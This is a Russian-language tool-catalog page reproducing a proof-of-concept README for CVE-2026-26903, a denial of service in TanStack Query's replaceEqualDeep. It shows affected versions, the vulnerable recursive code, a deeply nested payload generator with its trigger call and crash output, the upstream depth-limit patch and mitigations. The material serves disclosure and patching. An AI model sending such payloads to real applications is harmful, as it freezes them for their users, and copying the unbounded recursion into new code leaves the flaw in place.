Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-26903-PoC — PoC для демонстрации CVE-2026-26903 | Kitploit
Инструменты/GitHubGitHub/john-jung/cve-2026-26903-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

PoC для демонстрации CVE-2026-26903

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-26903 PoC

Отказ в обслуживании из-за неограниченной рекурсии в функции replaceEqualDeep библиотеки TanStack Query

Один единственный специально сформированный запрос на обновление данных с глубоко вложенными объектами может заморозить поток JavaScript на неопределённый срок, что приведёт к полной неработоспособности приложения. Для этого не требуются аутентификация или особые привилегии.

Затронутые версии

Эта уязвимость была исправлена в @tanstack/[email protected] через PR #10032, опубликованный 14 января 2026 года.

ПакетЗатронутИсправлен
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-queryзависит от уязвимого query-core5.90.18+
@tanstack/vue-queryзависит от уязвимого query-core5.90.18+
@tanstack/solid-queryзависит от уязвимого query-core5.90.18+
@tanstack/svelte-queryзависит от уязвимого query-core6.1.7+

Официальное описание

CVE-2026-26903: Отказ в обслуживании через неограниченную рекурсию в replaceEqualDeep (Серьёзность: средняя)

Функция replaceEqualDeep в TanStack Query выполняет рекурсивное сравнение вложенных объектов без ограничений по глубине. При обработке глубоко вложенных структур данных это может вызвать неограниченную рекурсию, приводящую к переполнению стека и замораживанию приложения.

— Назначено через MITRE

Сводка об уязвимости

Функция replaceEqualDeep библиотеки TanStack Query используется внутренне для определения того, действительно ли изменились данные запроса, оптимизируя повторные рендеры за счёт сохранения ссылок на объекты, когда это возможно. Функция рекурсивно обходит свойства объектов для выполнения глубокого сравнения на равенство.

Проблема

В рекурсивной реализации отсутствуют ограничения по глубине и обнаружение циклов:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... проверки типов ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... проверки поверхностного равенства ...
    
    // УЯЗВИМОСТЬ: неограниченная рекурсия здесь
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Механизм атаки

  1. Триггер: любое обновление запроса, которое проходит через replaceEqualDeep с глубоко вложенными данными
  2. Полезная нагрузка: объекты, вложенные на 5000+ уровней в глубину
  3. Воздействие: немедленная заморозка потока JavaScript, полная неработоспособность пользовательского интерфейса
  4. Стойкость: приложение остаётся замороженным до перезагрузки страницы

Поверхность атаки

  • Прямая: хуки useQuery с вложенными данными ответов
  • Косвенная: setQueryData, invalidateQueries или любая операция с кэшем запросов
  • Клиентская сторона: участие сервера не требуется — чисто клиентский DoS

Структура репозитория

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # Это файл
├── LICENSE
├── poc.js                    # PoC на Node.js (краш из-за переполнения стека)
└── tanstack-query-poc.html   # PoC для браузера (интерактивная визуальная демонстрация)

Шаги воспроизведения

1. Клонирование и настройка

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Запуск PoC на Node.js (краш из-за переполнения стека)

root@kitploit:~
node poc.js

3. Ожидаемый вывод

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Запуск PoC для браузера (интерактивная визуальная демонстрация)

root@kitploit:~
open tanstack-query-poc.html
  1. Убедитесь, что приложение отзывчиво:
    • Нажимайте кнопку счётчика
    • Вводите текст в поле ввода
    • Наблюдайте за живым таймером
  2. Запустите DoS:
    • Нажмите "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Результат: таймер останавливается, кнопки перестают реагировать, страница замирает

Детальное тестирование

Вариант A: Автономная HTML-демонстрация (без зависимостей)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Вариант B: React-приложение (реалистичный сценарий)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Перейдите на http://localhost:3000 и следуйте инструкциям на экране

Ожидаемое поведение

До атаки:

  • Кнопка счётчика увеличивает значение
  • Живой таймер обновляется каждую секунду
  • Поле ввода реагирует на ввод текста
  • Все взаимодействия с интерфейсом работают нормально

После атаки:

  • Таймер замирает на текущем значении
  • Кнопка счётчика перестаёт реагировать
  • Поле ввода становится неработоспособным
  • Консоль не показывает ошибок (поток заблокирован, а не упал)
  • Единственное решение: перезагрузка вкладки/окна браузера

Как работает эксплойт

PoC генерирует глубоко вложенные объекты и запускает replaceEqualDeep для их обработки:

1. Генерация полезной нагрузки

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Создаёт: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Триггер атаки

root@kitploit:~
const oldData = generateDeep(10000);  // 10 000 уровней в глубину
const newData = generateDeep(10000);  // Другой объект, та же структура

// Это вызывает неограниченную рекурсию:
replaceEqualDeep(oldData, newData);

3. Цепочка рекурсии

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Уровень 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Уровень 2
        ├── replaceEqualDeep(...)                   // Уровень 3
            └── ... (продолжается 10 000 уровней)

Каждый рекурсивный вызов добавляет новый фрейм стека, пока стек вызовов движка JavaScript не будет исчерпан, замораживая поток.

Уязвимый код

Расположение: @tanstack/query-core/src/utils.ts (приблизительно)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // УЯЗВИМОСТЬ: нет ограничения глубины или обнаружения циклов
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Патч

Исправление (применено в коммите TanStack Query 269351b) добавляет ограничение глубины для предотвращения неограниченной рекурсии:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... средняя часть без изменений ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Ключевые изменения:

  1. Добавлен параметр depth со значением по умолчанию 0 для отслеживания глубины рекурсии
  2. Добавлена проверка ограничения глубины — возвращает b немедленно, если depth > 500
  3. Увеличивается глубина в рекурсивных вызовах — replaceEqualDeep(aItem, bItem, depth + 1) Это простое исправление предотвращает переполнение стека, сохраняя при этом разумную вложенность (500 уровней более чем достаточно для реальных структур данных).

Смягчение последствий

Временные обходные решения

  1. Уплощайте глубоко вложенные данные перед передачей в TanStack Query
  2. Реализуйте собственные функции сравнения с ограничением глубины
  3. Отслеживайте сложность данных запросов во время разработки

Правильное исправление

Реализуйте ограничение глубины в replaceEqualDeep:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Предотвращает глубокую рекурсию
  if (a === b) return a;
  
  // ... существующая логика ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... остальная часть функции
}

Или используйте итеративный обход вместо рекурсии.

Ссылки

  • Рекомендации GitHub по безопасности

Отказ от ответственности

Эта proof-of-concept демонстрация предоставлена только в образовательных целях и для авторизованного тестирования безопасности. Используйте её ответственно и только против приложений, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за любое неправомерное использование этой информации.

Скачать инструмент